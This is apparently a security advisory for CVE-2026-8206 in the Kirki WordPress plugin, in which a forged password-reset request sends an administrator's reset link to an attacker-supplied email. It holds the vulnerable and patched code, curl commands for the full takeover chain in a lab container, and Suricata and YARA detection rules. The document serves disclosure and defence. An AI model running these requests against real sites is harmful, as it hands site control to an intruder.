1. Overview

A vulnerability exists in the Kirki – Freeform Page Builder, Website Builder & Customizer plugin for WordPress, in the password reset functionality exposed via the REST API. The handle_forgot_password endpoint accepts a username and an arbitrary email address; when a reset is requested by username, the plugin generates a valid password reset key but sends the reset link to the attacker-supplied email instead of the user’s registered email. An unauthenticated attacker can exploit this to receive the password reset link for any user account—including administrator—and take over the account by resetting its password. The vulnerability affects versions 6.0.0 through 6.0.6 and was fixed in version 6.0.7.


2. Vulnerability Type

FieldValue
Primary CWECWE-640: Weak Password Recovery Mechanism for Forgotten Password
Related CWECWE-287: Improper Authentication

3. Severity

CVSS 3.1 (from NVD / Patchstack)

FieldValue
Score9.8 (Critical)
VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Our Assessment (CVSS 4.0)

Metric GroupMetricValue
Base — ExploitabilityAttack Vector (AV)Network
Attack Complexity (AC)Low
Attack Requirements (AT)Present
Privileges Required (PR)None
User Interaction (UI)None
Base — Vulnerable SystemConfidentiality (VC)High
Integrity (VI)High
Availability (VA)High
Base — Subsequent SystemConfidentiality (SC)None
Integrity (SI)None
Availability (SA)None
ThreatExploit Maturity (E)Proof-of-Concept
FieldValue
CVSS 4.0 Score9.2 (Critical)
CVSS 4.0 VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P

AT:P rationale: The target WordPress site must have the Kirki plugin active with a form that includes the forgot-password element (which generates nonces on the front-end). This is a common but not universal configuration.


4. Affected Products

Affected Versions

ProductVersionsCPE 2.3
Kirki – Freeform Page Builder, Website Builder & Customizer6.0.0 – 6.0.6cpe:2.3:a:themeum:kirki:*:*:*:*:*:wordpress:*:*

Tested Environment (Vulnerable)

FieldValue
PluginKirki 6.0.6
PlatformWordPress 6.7, PHP 8.2
Containerwordpress:6.7-php8.2-apache
DatabaseMariaDB 10.11
SHA256 (plugin ZIP)Downloaded from downloads.wordpress.org/plugin/kirki.6.0.6.zip

Tested Environment (Patched)

FieldValue
PluginKirki 6.0.7
PlatformWordPress 6.7, PHP 8.2
Containerwordpress:6.7-php8.2-apache
SHA256 (plugin ZIP)Downloaded from downloads.wordpress.org/plugin/kirki.6.0.7.zip

5. Root Cause Analysis

5a. Detailed Description

The Kirki plugin registers several unauthenticated REST API endpoints for user account management, including login, registration, forgot-password, and change-password. These are registered in CompLibFormHandler.php under the namespace KirkiComponentLibrary/v1:

POST /wp-json/KirkiComponentLibrary/v1/kirki-forgot-password
POST /wp-json/KirkiComponentLibrary/v1/kirki-change-password
POST /wp-json/KirkiComponentLibrary/v1/kirki-login

The permission_callback for all endpoints returns true unconditionally (line 49), meaning anyone can call them. The only protection is a WordPress nonce passed via the X-WP-Element-Nonce HTTP header. However, for unauthenticated users, WordPress nonces are deterministic — they depend on UID 0 and no session token — and are embedded in the front-end HTML of any page containing a Kirki form element, making them trivially obtainable by any visitor.

The vulnerability is in handle_forgot_password(). The function accepts two parameters from the POST body: username and email. The intended flow has two code paths:

  1. Email-only path (lines 268-278): If no username is provided but an email is, the function looks up the user by email and derives the username. In this path, the email is inherently tied to the user.

  2. Username path (lines 280-330): If a username is provided, the function looks up the user by username (line 281), generates a password reset key (line 290), and then sends the reset email. Critically, on line 330, the email is sent to the $email variable from the POST body — not to the user’s registered email address. There is no validation that the attacker-supplied email matches the target user’s actual email.

Vulnerable code (CompLibFormHandler.php, handle_forgot_password):

// Line 265-266: Both values come from attacker-controlled POST body
$email    = isset( $form_data['email'] ) ? sanitize_email( $form_data['email'] ) : '';
$username = isset( $form_data['username'] ) ? sanitize_text_field( $form_data['username'] ) : '';

// ...

// Line 280-288: User looked up by username — no email validation
if ( isset( $username ) && strlen( $username ) > 0 ) {
    $user = get_user_by( 'login', $username );
    if ( ! $user ) {
        return new WP_REST_Response( array( 'message' => 'User not found' ), 404 );
    }

    // Line 290: Valid reset key generated for the target user
    $key = get_password_reset_key( $user );

    // ... email body construction using attacker-controlled emailBody template ...

    // Line 330: Reset email sent to attacker-controlled $email, NOT $user->user_email
    $sent = wp_mail( $email, $email_subject, $email_body, $headers );

The attack chain is:

  1. Attacker visits the target site to obtain the nonce from any page with a Kirki forgot-password form
  2. Attacker sends POST /wp-json/KirkiComponentLibrary/v1/kirki-forgot-password with username=admin and email=attacker@example.com
  3. The plugin generates a valid password reset key for the admin user and sends the reset link to attacker@example.com
  4. Attacker extracts the reset key from the email and calls POST /wp-json/.../kirki-change-password with the key and a new password
  5. Attacker logs in as admin with the new password

Additionally, the emailBody parameter allows the attacker to control the email template using a JSON array of {"type":"chip","value":"reset_link"} entries, which the server renders into the actual reset URL with the key. This means the attacker both controls where the email goes and can ensure the reset link is included in the email body.

5b. Fix (Patched Version — 6.0.7)

The patch adds email validation after the user lookup. Before generating the reset key, the patched code checks that the attacker-supplied email matches the user’s registered email:

// ADDED in 6.0.7 — after user lookup by username, before generating reset key:
$user_email = $user->get( 'user_email' );
if($email !== $user_email) {
    $response = array(
        'message' => 'Invalid email address',
    );
    return new WP_REST_Response( $response, 404 );
}
$email = $user_email;  // Force email to user's registered address

The fix also adds an empty($username) guard to reject requests with neither username nor email, and replaces the hardcoded 'reset_password' URL type with the proper Page::TYPE_FORGOT_PASSWORD constant.

Vulnerable (6.0.6)Patched (6.0.7)
Looks up user by usernameLooks up user by username
No email validationValidates $email === $user->user_email
Generates reset keyRejects with “Invalid email address” if mismatch
Sends reset email to attacker’s $emailOnly sends to the user’s registered email

5c. Impact

The vulnerability allows complete unauthenticated account takeover. An attacker can reset the password of any user account on the WordPress site, including the administrator. Once logged in as admin, the attacker has full control: they can install malicious plugins, modify site content, access sensitive data, create backdoor accounts, and potentially achieve remote code execution on the web server through plugin/theme file editing.

The attack requires no authentication, no user interaction, and works against any WordPress site running Kirki 6.0.0–6.0.6 with the plugin activated and a forgot-password form element present. The Kirki plugin has over 500,000 active installations, making this a high-impact vulnerability with a large attack surface.


6. Proof-of-Concept

6a. PoC Code

Download poc_cve_2026_8206.py (enterprise email verification required)

FileDescription
poc_cve_2026_8206.pyPython 3 PoC — interactive exploit with nonce support, check-only mode, and full takeover chain
test_exploit.shBash automated test — end-to-end verification using WP-CLI nonces and server-side mail log

6b. Reproduce Instructions

Prerequisites:

  • Docker or Podman host
  • Network access to the target WordPress site (or local container setup)

Environment setup (container-based testing):

# Create a pod with MariaDB and WordPress
podman pod create --name wp-cve8206 -p 8081:80
podman run -d --pod wp-cve8206 --name wp-cve8206-db \
  -e MYSQL_ROOT_PASSWORD=rootpass -e MYSQL_DATABASE=wordpress \
  -e MYSQL_USER=wpuser -e MYSQL_PASSWORD=wppass \
  mariadb:10.11

podman run -d --pod wp-cve8206 --name wp-cve8206-wp \
  -e WORDPRESS_DB_HOST=127.0.0.1 -e WORDPRESS_DB_USER=wpuser \
  -e WORDPRESS_DB_PASSWORD=wppass -e WORDPRESS_DB_NAME=wordpress \
  wordpress:6.7-php8.2-apache

# Wait for DB init, then install WordPress
podman exec wp-cve8206-wp bash -c 'curl -sL https://raw.githubusercontent.com/wp-cli/builds/gh-pages/phar/wp-cli.phar -o /usr/local/bin/wp && chmod +x /usr/local/bin/wp'

podman exec wp-cve8206-wp bash -c 'cd /var/www/html && wp core install \
  --url="http://localhost:8081" --title="Test" \
  --admin_user=admin --admin_password=admin123 \
  --admin_email=admin@example.com --allow-root --skip-email'

# Install vulnerable Kirki 6.0.6
curl -sL -o /tmp/kirki-6.0.6.zip https://downloads.wordpress.org/plugin/kirki.6.0.6.zip
podman cp /tmp/kirki-6.0.6.zip wp-cve8206-wp:/tmp/kirki.zip
podman exec wp-cve8206-wp bash -c 'cd /var/www/html && wp plugin install /tmp/kirki.zip --activate --allow-root'

# Install mail logging mu-plugin (captures emails to /tmp/mail.log)
podman exec wp-cve8206-wp bash -c 'mkdir -p /var/www/html/wp-content/mu-plugins && cat > /var/www/html/wp-content/mu-plugins/log-mail.php << "EOF"
<?php
add_filter("wp_mail", function($args) {
    $log = sprintf("[%s] TO: %s | SUBJECT: %s | BODY: %s\n---\n",
        date("Y-m-d H:i:s"),
        is_array($args["to"]) ? implode(",", $args["to"]) : $args["to"],
        $args["subject"], $args["message"]);
    file_put_contents("/tmp/mail.log", $log, FILE_APPEND);
    return $args;
}, 10, 1);
EOF'

Exploitation steps:

  1. Obtain nonce — Visit any page on the WordPress site containing a Kirki forgot-password form. The nonce is in the HTML/JS (data-nonce or inline script). For testing, generate via WP-CLI:

    NONCE=$(podman exec wp-cve8206-wp bash -c \
      'cd /var/www/html && wp eval "echo wp_create_nonce(\"KirkiComponentLibrary_kirki-forgot-password\");" --allow-root')
    
  2. Send forged password reset — POST to the forgot-password endpoint with the target username and attacker’s email:

    curl -X POST "http://localhost:8081/wp-json/KirkiComponentLibrary/v1/kirki-forgot-password" \
      -H "X-WP-Element-Nonce: $NONCE" \
      --data-urlencode "username=admin" \
      --data-urlencode "email=attacker@example.com" \
      --data-urlencode "emailSubject=Password Reset" \
      --data-urlencode 'emailBody=[{"type":"text","value":"Reset: "},{"type":"chip","value":"reset_link"}]'
    
  3. Extract reset key — From the email received at attacker@example.com (or from /tmp/mail.log in the test environment), extract the key parameter from the reset URL.

  4. Change password — Use the reset key:

    curl -X POST "http://localhost:8081/wp-json/KirkiComponentLibrary/v1/kirki-change-password" \
      -H "X-WP-Element-Nonce: $NONCE_CHANGE" \
      --data-urlencode "username=admin" \
      --data-urlencode "reset_key=<KEY_FROM_EMAIL>" \
      --data-urlencode "new_password=pwned123" \
      --data-urlencode "confirm_password=pwned123"
    
  5. Login as admin — Verify account takeover:

    curl -X POST "http://localhost:8081/wp-json/KirkiComponentLibrary/v1/kirki-login" \
      -H "X-WP-Element-Nonce: $NONCE_LOGIN" \
      --data-urlencode "username=admin" \
      --data-urlencode "password=pwned123"
    

6c. Test Results

Vulnerable (Kirki 6.0.6):

StepRequestResponseResult
1. Forgot password (forged email)username=admin&email=attacker@example.com{"message":"Failed to send email"} (no SMTP)Email TO: attacker@example.com — redirect confirmed
2. Change passwordreset_key=5Dp8JM6Pj37kTtDpgza4{"success":true,"data":{"message":"Password reset successfully."}}Password changed
3. Loginusername=admin&password=pwned_by_cve2026_8206{"message":"User logged in","user":{"username":"admin","id":"1",...}}Full takeover confirmed

6d. Patched System Verification

Patched (Kirki 6.0.7):

StepRequestResponseResult
1. Forgot password (forged email)username=admin&email=attacker@example.com{"message":"Invalid email address"} (HTTP 404)Rejected — no email sent, no reset key generated

The patched version correctly validates that the provided email matches the user’s registered email and rejects the request with “Invalid email address” when they don’t match. No mail log entry was created, confirming no email was attempted.


7. Detection

Note: The detection rules below are provided as a starting point. Validate and tune them in your own environment before deploying to production.

7a. Network-Based Detection

Signature-Based Detection

The exploit sends a POST request to the WordPress REST API endpoint /wp-json/KirkiComponentLibrary/v1/kirki-forgot-password with both username and email parameters. Legitimate forgot-password requests typically use only the user’s own email. The presence of a username parameter alongside a different email in this endpoint is a strong indicator of exploitation.

The X-WP-Element-Nonce header and the emailBody parameter containing reset_link chip are also distinctive.

Suricata Rules

# Detect CVE-2026-8206 exploitation attempts — password reset email redirect
alert http $EXTERNAL_NET any -> $HOME_NET any ( \
  msg:"CVE-2026-8206 Kirki WordPress Plugin Password Reset Email Redirect Attempt"; \
  flow:established,to_server; \
  http.method; content:"POST"; \
  http.uri; content:"/wp-json/KirkiComponentLibrary/v1/kirki-forgot-password"; \
  http.request_body; content:"username="; \
  http.request_body; content:"email="; \
  reference:cve,2026-8206; \
  classtype:web-application-attack; \
  sid:2026008206; rev:1;)

# Rate-limit detection — multiple password reset attempts from same source
alert http $EXTERNAL_NET any -> $HOME_NET any ( \
  msg:"CVE-2026-8206 Kirki Password Reset Brute Force - Multiple Reset Attempts"; \
  flow:established,to_server; \
  http.method; content:"POST"; \
  http.uri; content:"/kirki-forgot-password"; \
  threshold:type both, track by_src, count 5, seconds 60; \
  reference:cve,2026-8206; \
  classtype:web-application-attack; \
  sid:2026008207; rev:1;)

WAF Mitigation

Web application firewalls can block exploitation by:

  • Blocking or rate-limiting POST requests to /wp-json/KirkiComponentLibrary/v1/kirki-forgot-password
  • Inspecting the POST body for simultaneous username= and email= parameters where the email domain differs from the site’s registered user emails
  • Requiring authentication for all KirkiComponentLibrary REST endpoints

7b. Host-Based Detection (YARA)

The following YARA rules detect vulnerable and patched versions of the Kirki CompLibFormHandler.php file by matching source-level code patterns from the vulnerable handle_forgot_password function.

rule CVE_2026_8206_Kirki_Vulnerable_ForgotPassword
{
    meta:
        description = "Detects Kirki CompLibFormHandler.php vulnerable to CVE-2026-8206 — missing email validation in handle_forgot_password"
        cve = "CVE-2026-8206"
        component = "Kirki WordPress Plugin (CompLibFormHandler)"
        severity = "Critical"
        type = "vulnerability"

    strings:
        $class = "CompLibFormHandler"
        $handler = "handle_forgot_password"
        $user_lookup = "get_user_by( 'login'"
        $reset_key_gen = "get_password_reset_key"
        $vuln_mail = /wp_mail\(\s*\$email\s*,/
        $sanitize_input = /sanitize_email\(\s*\$form_data\[.email.\]\s*\)/
        $patched_check = /\$email\s*!==?\s*\$user_email/

    condition:
        $class and $handler and $user_lookup and $reset_key_gen and
        $vuln_mail and $sanitize_input and not $patched_check
}

rule CVE_2026_8206_Kirki_Patched
{
    meta:
        description = "Detects Kirki CompLibFormHandler.php patched against CVE-2026-8206 — email validation present"
        cve = "CVE-2026-8206"
        component = "Kirki WordPress Plugin (CompLibFormHandler)"
        severity = "Critical"
        type = "patch_verification"

    strings:
        $handler = "handle_forgot_password"
        $email_check = "$email !== $user_email"
        $get_user_email = /\$user->get\(\s*.user_email.\s*\)/
        $invalid_msg = "Invalid email address"

    condition:
        $handler and $email_check and $get_user_email and $invalid_msg
}

Usage:

# Scan a WordPress installation for vulnerable Kirki plugin
yara -s kirki_cve_2026_8206.yar /var/www/html/wp-content/plugins/kirki/

# Scan a specific file
yara -s kirki_cve_2026_8206.yar /var/www/html/wp-content/plugins/kirki/vendor/starter-starter-starter/starter-starter-starter-starter/src/CompLibFormHandler.php
RuleMatch Meaning
CVE_2026_8206_Kirki_Vulnerable_ForgotPasswordFile is an unpatched CompLibFormHandler.php — email redirect exploitation is possible
CVE_2026_8206_Kirki_PatchedFile is a patched CompLibFormHandler.php with email validation — CVE-2026-8206 is mitigated

8. References

SourceURL
Patchstack Advisoryhttps://patchstack.com/database/wordpress/plugin/kirki/vulnerability/wordpress-kirki-plugin-6-0-0-6-0-6-unauthenticated-privilege-escalation-via-handle-forgot-password-vulnerability
Wordfence Bloghttps://www.wordfence.com/blog/2026/06/unauthenticated-privilege-escalation-vulnerability-patched-in-kirki-wordpress-plugin/
NVDhttps://nvd.nist.gov/vuln/detail/CVE-2026-8206
WordPress Plugin Pagehttps://wordpress.org/plugins/kirki/
Tenablehttps://www.tenable.com/cve/CVE-2026-8206
CVEFeedhttps://cvefeed.io/vuln/detail/CVE-2026-8206